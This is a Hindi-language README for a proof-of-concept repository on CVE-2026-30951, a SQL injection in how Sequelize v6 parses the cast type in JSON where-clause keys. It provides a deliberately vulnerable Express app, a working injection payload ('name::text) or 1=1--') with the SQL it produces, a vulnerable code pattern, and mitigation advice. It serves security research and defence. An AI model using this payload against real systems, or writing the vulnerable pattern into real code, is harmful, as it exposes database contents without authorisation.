
Proof-of-concept और vulnerable Node.js/Express/Sequelize ऐप जो CVE-2026-30951 को प्रदर्शित करता है, जो Sequelize v6 where clauses में एक JSON cast-type SQL injection है, जिसमें reproduction steps और mitigation guidance शामिल है।
★ CVE-2026-30951 Sequelize ORM SQL इंजेक्शन PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 एक व्यापक रूप से उपयोग किए जाने वाले Node.js ORM, Sequelize v6 में एक SQL इंजेक्शन भेद्यता है।
यह भेद्यता JSON/JSONB
whereक्लॉज़ प्रोसेसिंग में मौजूद है। जब Sequelize::युक्त JSON पाथ की को पार्स करता है, तो::के बाद का मान SQL कास्ट प्रकार के रूप में माना जाता है और उचित सत्यापन के बिना जनरेट किए गए SQL में डाल दिया जाता है।यदि कोई हमलावर Sequelize
whereक्लॉज़ में पास किए गए JSON ऑब्जेक्ट कीज़ को नियंत्रित कर सकता है, तो वे जनरेट किए गए SQL क्वेरी में हेरफेर कर सकते हैं।
| श्रेणी | संस्करण |
|---|---|
| भेद्य | Sequelize v6.x <= 6.37.7 |
| पैच किया गया | Sequelize 6.37.8 |
| प्रभावित नहीं | Sequelize v7 / @sequelize/core |
इस रिपॉज़िटरी में एक न्यूनतम भेद्य Node.js, Express, Sequelize, और SQLite चैलेंज ऐप शामिल है।
npm install
npm start
ऐप यहाँ शुरू होता है:
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Docker कंटेनर यहाँ शुरू होता है:
http://127.0.0.1:9100
भेद्य वातावरण शुरू करने के बाद, इंजेक्शन को पुनरुत्पादित करने के लिए नीचे दिए गए चरणों का पालन करें।
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
यह केवल सामान्य नाम सर्च लॉजिक से मेल खाने वाले उपयोगकर्ताओं को लौटाता है।
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
अपेक्षित परिणाम:
All user rows are returned.
तैयार की गई JSON की Sequelize को इसके समान एक कास्ट एक्सप्रेशन जनरेट करने का कारण बनाती है:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
चूंकि कास्ट प्रकार हमलावर-नियंत्रित है, OR 1=1 शर्त इच्छित WHERE क्लॉज़ व्यवहार को बदल देती है। उसी सर्च एंडपॉइंट से सभी पंक्तियाँ लौटाना पुष्टि करता है कि SQL इंजेक्शन संभव है।
यह भेद्यता Sequelize v6 में JSON कास्ट प्रकारों के अपर्याप्त सत्यापन के कारण होती है।
आंतरिक रूप से, Sequelize का JSON ट्रैवर्सल लॉजिक JSON पाथ कीज़ को :: पर विभाजित करता है:
jsonKey::castType
कास्ट प्रकार का उपयोग तब जनरेट किए गए SQL में इस प्रकार किया जाता है:
CAST(<json_extract_expression> AS <cast_type>)
भेद्य संस्करणों में, <cast_type> को सुरक्षित रूप से एस्केप या ज्ञात-सुरक्षित allowlist तक सीमित नहीं किया जाता है। यह हमलावर-नियंत्रित JSON की को कास्ट एक्सप्रेशन से बाहर निकलने और SQL इंजेक्ट करने की अनुमति देता है।
प्रभावित Sequelize संस्करणों का उपयोग करते समय निम्नलिखित के समान कोई भी एप्लिकेशन पैटर्न भेद्य हो सकता है:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
यह खतरनाक है क्योंकि हमलावर न केवल JSON मानों को, बल्कि JSON ऑब्जेक्ट कीज़ को भी नियंत्रित करता है।
यह भेद्यता विशेष रूप से खतरनाक है क्योंकि कई डेवलपर्स मानते हैं कि ORM क्वेरी बिल्डर स्वचालित रूप से SQL इंजेक्शन से बचाते हैं। इस मामले में, इंजेक्शन ORM-जनरेट किए गए SQL के भीतर होता है, जब एप्लिकेशन पहले ही संरचित JavaScript ऑब्जेक्ट्स को Sequelize को पास कर चुका होता है।
एप्लिकेशन लॉजिक के आधार पर, शोषण निम्नलिखित की अनुमति दे सकता है:
यह मूल रूप से एक CWE-89: Improper Neutralization of Special Elements used in an SQL Command समस्या है।
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
where क्लॉज़ में पास न करें:: जैसे कास्ट सेपरेटर वाली JSON कीज़ को अस्वीकार करें, जब तक कि स्पष्ट रूप से आवश्यक न होconst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
यह रिपॉज़िटरी केवल नियंत्रित वातावरणों में सुरक्षा अनुसंधान, रक्षात्मक सत्यापन, और शैक्षिक उपयोग के लिए है।
इस PoC का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति नहीं है।
हम महीने में एक बार CVE और मैलवेयर विश्लेषण प्रकाशित करते हैं। यदि आप रुचि रखते हैं, तो कृपया हमारे प्रकाशनों को देखने के लिए नीचे दिए गए लिंक का पालन करें।